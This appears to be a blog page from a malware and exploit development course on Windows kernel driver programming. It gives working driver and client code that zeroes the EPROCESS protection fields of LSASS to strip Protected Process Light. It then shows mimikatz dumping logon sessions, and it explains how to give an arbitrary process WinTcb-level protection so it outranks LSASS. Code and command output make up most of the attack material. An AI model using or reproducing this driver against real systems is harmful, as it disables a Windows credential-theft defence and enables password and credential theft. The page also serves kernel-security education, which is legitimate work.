🐳
Swayam's Blog
LinkedinGithub
  • 🫚root@Swayam's Blog
  • 🕺About Me
  • 🛠️Projects
    • CurveLock
    • ShadowChain
  • 🐞Malware Analysis
    • Basic Malware Analysis
      • LAB Network Setup
      • Basic Static Analysis
      • Basic Dynamic Analysis
      • Advanced Dynamic Analysis
      • Advanced Static Analysis
      • Identifying Anti analysis techniques
      • Binary Patching
      • Shellcode Analysis
      • Malware.unknown.exe.Malz
      • Challenge-Sillyputty
      • Bind_shell RAT Analysis
      • Malicious Powershell Script
      • Malicious HTA(HTML Applications)
      • Phishing Excel Embedded Malware
      • Reversing Csharp And DotNET Framework
      • YARA rules
      • Automating Malware Analysis
    • MASM 64 Bit Assembly
      • Hello World Of Assembly Language
      • Computer Data Representation and Operations
      • Memory Access And Organization
      • Constants, Variables And Data Types
      • Procedures
  • 👨‍💻Malware/Exploit Development
    • Driver Development
      • Driver 101
      • Kernel Calbacks
      • Process Protection
      • Process Token Privilege
  • 📖Notes And Cheatsheets
    • OSCP / Application Security
      • OS stuff
        • Footprinting
        • Nmap
        • Shells
        • Metasploit
        • Windows Buffer Overflow
        • Windows
        • Windows Privilege Escalation
        • Linux Commands
        • Linux Privilege Escalation
        • Password Cracking
        • Pivoting And Tunneling
        • Macos
      • General Introduction
        • Basic Tools
        • Basic Networking
      • WebApps
        • Attacking Common Applications
        • Attacking Common Services
        • Broken Authentication
        • Burp Proxy
        • Common Apps
        • Command Injection
        • ffuf Fuzzing
        • File Inclusion
        • File Transfer
        • File Upload
        • Javascript Deobfuscation
        • Password Attacks
        • SQLi
        • Web attacks
        • Web Information Gathering
        • Wordpress
        • Brute Forcing
        • HTTP Curl
      • Active Directory
    • Wireless Attacks
    • Red Teaming
    • BloodHound
    • Pentesting
    • ADCS
  • 🚩CTFs
    • Google CTF
Powered by GitBook
On this page
  • Introduction
  • Unprotecting Processes
  • Protecting Processes
  • Windows Version Check
  1. Malware/Exploit Development
  2. Driver Development

Process Protection

PreviousKernel CalbacksNextProcess Token Privilege

Last updated 9 days ago

Introduction

Protected Processes were first introduced in Windows Vista - not for security, but DRM (Digital Rights Management). The idea was to allow media players to read Blu-rays, but not copy the content. It worked fundamentally by limiting the access you could obtain to a protected process, such as PROCESS_QUERY_LIMITED_INFORMATION or PROCESS_TERMINATE, but not PROCESS_VM_READ or anything else that would allow you to circumvent the DRM requirements.

Tools such as can display the protection level of a process.

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

Since Vista, Protected Processes have been expanded. Instead of it simply being on or off, there are now hierarchical levels. First - there are two possible types, Protected Process (PP) and Protected Process Light (PPL). Second - there is also a Signer, which comes from the Extended Key Usage field of the digital signature used to sign the executable.

If we look at lsass.exe for example, we can see the certificate used to sign it has PPL verification enabled in the EKU.

Because of these various moving parts, there is an order of protection precedence that the kernel considers. PP always trumps PPL so a PPL can never obtain full access to a PP, regardless of its signer. A PP can gain full access to another PP or PPL if the signer is equal or greater, and a PPL can gain full access to another PPL if the signer is equal to or greater.

This makes sense because even though you want to protect a process like LSASS, other (more privileged) services still need access to it for it to function correctly.

Unprotecting Processes

typedef struct _EPROCESS *PEPROCESS;

The reason we call this "opaque" is because MS have not defined (or publicly documented) any of its members, which means we can't do something simple like eProcess->Protection. Instead, we have to use static offsets obtained from WinDbg using the dt command. Here we can see that Protection is at offset 0x87a.

kd> dt nt!_EPROCESS
   [...snip...]
   +0x87a Protection       : _PS_PROTECTION

We can also get the definition for _PS_PROTECTION.

kd> dt nt!_PS_PROTECTION
   +0x000 Level            : UChar
   +0x000 Type             : Pos 0, 3 Bits
   +0x000 Audit            : Pos 3, 1 Bit
   +0x000 Signer           : Pos 4, 4 Bits

To make things a little easier for ourselves, we can define these in driver.h.

constexpr auto PS_PROTECTION_OFFSET = 0x87a;

typedef struct _PS_PROTECTION {
	UCHAR Level;
	UCHAR Type   : 3;
	UCHAR Audit  : 1;
	UCHAR Signer : 4;
} PS_PROTECTION, * PPS_PROTECTION;

We also want a structure that will allow the client to provide a target process ID.

typedef struct _TARGET_PROCESS {
    int ProcessId;
} TARGET_PROCESS, * PTARGET_PROCESS;

Under a new IOCTL, MY_DRIVER_IOCTL_UNPROTECT_PROCESS, we will cast the input buffer.

PTARGET_PROCESS target = (PTARGET_PROCESS)stack->Parameters.DeviceIoControl.Type3InputBuffer;
KdPrint(("[+] Obtaining EPROCESS for PID: %d\n", target->ProcessId));

PEPROCESS eProcess;
status = PsLookupProcessByProcessId(
	(HANDLE)target->ProcessId,
	&eProcess
);

We then need to blindly cast the memory at the static offset to our PS_PROTECTION structure.

// cast the memory at static offset to PS_PROTECTION
PPS_PROTECTION psProtect = (PPS_PROTECTION)(((ULONG_PTR)eProcess) + PS_PROTECTION_OFFSET);

if (psProtect == nullptr)
{
	KdPrint(("[+] PPS_PROTECTION was null\n"));
	status = STATUS_INVALID_PARAMETER;

	// deference EPROCESS before breaking
	ObDereferenceObject(eProcess);

	break;
}

We can now set all of the protection fields to zero, which will disable the protection.

// set all values to 0
psProtect->Level = 0;
psProtect->Type = 0;
psProtect->Audit = 0;
psProtect->Signer = 0;

// dereference
ObDereferenceObject(eProcess);

break;

In the client, we can parse a PID from the command line using atoi.

PTARGET_PROCESS target = new TARGET_PROCESS { atoi(argv[1]) };

printf("[+] Calling MY_DRIVER_IOCTL_UNPROTECT_PROCESS...");

success = DeviceIoControl(
    hDriver,
    MY_DRIVER_IOCTL_UNPROTECT_PROCESS,
    target,
    sizeof(target),
    nullptr,
    0,
    nullptr,
    nullptr
);
C:\MyDriver>Client.exe 792
[+] Opening handle to driver
[+] Calling MY_DRIVER_IOCTL_UNPROTECT_PROCESS...success
[+] Closing handle
[+] Hello from MY_DRIVER_IOCTL_UNPROTECT_PROCESS
[+] Obtaining EPROCESS for PID: 792

Close and reopen Process Explorer to see that LSASS is no longer protected.

Mimikatz can now work.

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 204366 (00000000:00031e4e)
Session           : Interactive from 1
User Name         : Rasta
Domain            : DESKTOP-BEIF89F
Logon Server      : DESKTOP-BEIF89F
Logon Time        : 06/12/2023 16:07:46
SID               : S-1-5-21-640925823-3789583948-21521632-1001

Remember that change is only in memory. When the machine is rebooted, LSASS will start and its protection will be reapplied.

Protecting Processes

We may also protect any arbitrary process in much the same way. The in-memory values will already be all 0, so we can just set them to whatever we want (as long as they're valid). WinDbg can be used to get the process protection values of any process, which is useful for mimicking a legitimate process.

For example, to copy the values from SgrmBroker.exe, begin by grabbing the address of it's EPROCESS structure using the !process command.

kd> !process 0 0 SgrmBroker.exe
PROCESS ffffbe8cc988a0c0
    SessionId: 0  Cid: 01d8    Peb: cc92463000  ParentCid: 02fc
    DirBase: 10217d000  ObjectTable: ffff840648bcce80  HandleCount: 105.
    Image: SgrmBroker.exe

We know the offset to the PS_PROCESS_PROTECTION struct is +0x87a, so we can read memory at the target address and display it as the correct data type.

kd> dt nt!_PS_PROTECTION ffffbe8cc988a0c0+0x87a
   +0x000 Level            : 0x62 'b'
   +0x000 Type             : 0y010
   +0x000 Audit            : 0y0
   +0x000 Signer           : 0y0110

The values displayed here are in decimal. The type, 0y010, is decimal 2, which matches the PS_PROTECTED_TYPE for PsProtectedTypeProtected.

kd> dt nt!_PS_PROTECTED_TYPE
   PsProtectedTypeNone = 0n0
   PsProtectedTypeProtectedLight = 0n1
   PsProtectedTypeProtected = 0n2
   PsProtectedTypeMax = 0n3

The signer, 0y0110, is decimal 6, which matches the PS_PROTECTED_SIGNER for PsProtectedSignerWinTcb.

kd> dt nt!_PS_PROTECTED_SIGNER
   PsProtectedSignerNone = 0n0
   PsProtectedSignerAuthenticode = 0n1
   PsProtectedSignerCodeGen = 0n2
   PsProtectedSignerAntimalware = 0n3
   PsProtectedSignerLsa = 0n4
   PsProtectedSignerWindows = 0n5
   PsProtectedSignerWinTcb = 0n6
   PsProtectedSignerWinSystem = 0n7
   PsProtectedSignerApp = 0n8
   PsProtectedSignerMax = 0n9

To mimic the above in our driver, we could do:

// mimic sgrmbroker.exe
psProtect->Level = 0x62;
psProtect->Type = 0x2;
psProtect->Audit = 0;
psProtect->Signer = 0x6;

As per the protected process hierarchy, we can access lsass.exe because mimikatz.exe is now running at a higher level.

Windows Version Check

I'm writing this course on Windows 10 LTSC, 21H2, build number 19044, so those are the values I will check for.

// get windows version
RTL_OSVERSIONINFOW osInfo;
osInfo.dwOSVersionInfoSize = sizeof(osInfo);

status = RtlGetVersion(&osInfo);

// refuse to load if we couldn't check os version
if (!NT_SUCCESS(status))
{
	KdPrint(("[!] RtlGetVersion failed: 0x%08X. Refusing to load for safety.\n", status));
	return STATUS_NOT_SUPPORTED;
}

// check major version and build number
if (osInfo.dwMajorVersion != 0xa && osInfo.dwBuildNumber != 0x04A64)
{
	KdPrint(("[!] Unsupported OS version.\n"));
	return STATUS_NOT_SUPPORTED;
}

KdPrint(("[+] Version: %lu.%lu.%lu", osInfo.dwMajorVersion, osInfo.dwMinorVersion, osInfo.dwBuildNumber));
[+] Hello from DriverEntry
[+] Version: 10.0.19044

The impact of this is most notable when to LSASS as we cannot extract credential material from it, even when running as SYSTEM. We get access denied when trying to obtain a handle with enough privileges to query and read its memory. This is not an AV or EDR protection - simply the Windows kernel.

The PS_PROTECTED_SIGNER struct provides a view of the possible signers that can be used.

From the perspective of the kernel, the protection level of a process is stored in a structure called . This is an opaque structure which is defined in wdm.h as:

And then call to obtain a pointer to the process' EPROCESS structure.

An important aspect to note here is that the output of PsLookupProcessByProcessId is reference counted. This count is used by the kernel to track callers that have references to objects in memory to prevent them from being disposed whilst still in use. Whenever we are finished with a reference-counted object, we must call . Failing to do so will cause kernel memory leaks. In this particular example, if the target process were to be closed, the kernel will never free its EPROCESS structure from memory, because we will still have a reference to it.

We have currently hardcoded our static offset value but if this was run on a different version of Windows, it very likely cause a BSOD. One way to guard against this is to call when the driver is loaded and return an error if running on an untested version.

👨‍💻
applied
documented
EPROCESS
PsLookupProcessByProcessId
ObDereferenceObject
RtlGetVersion
Process Explorer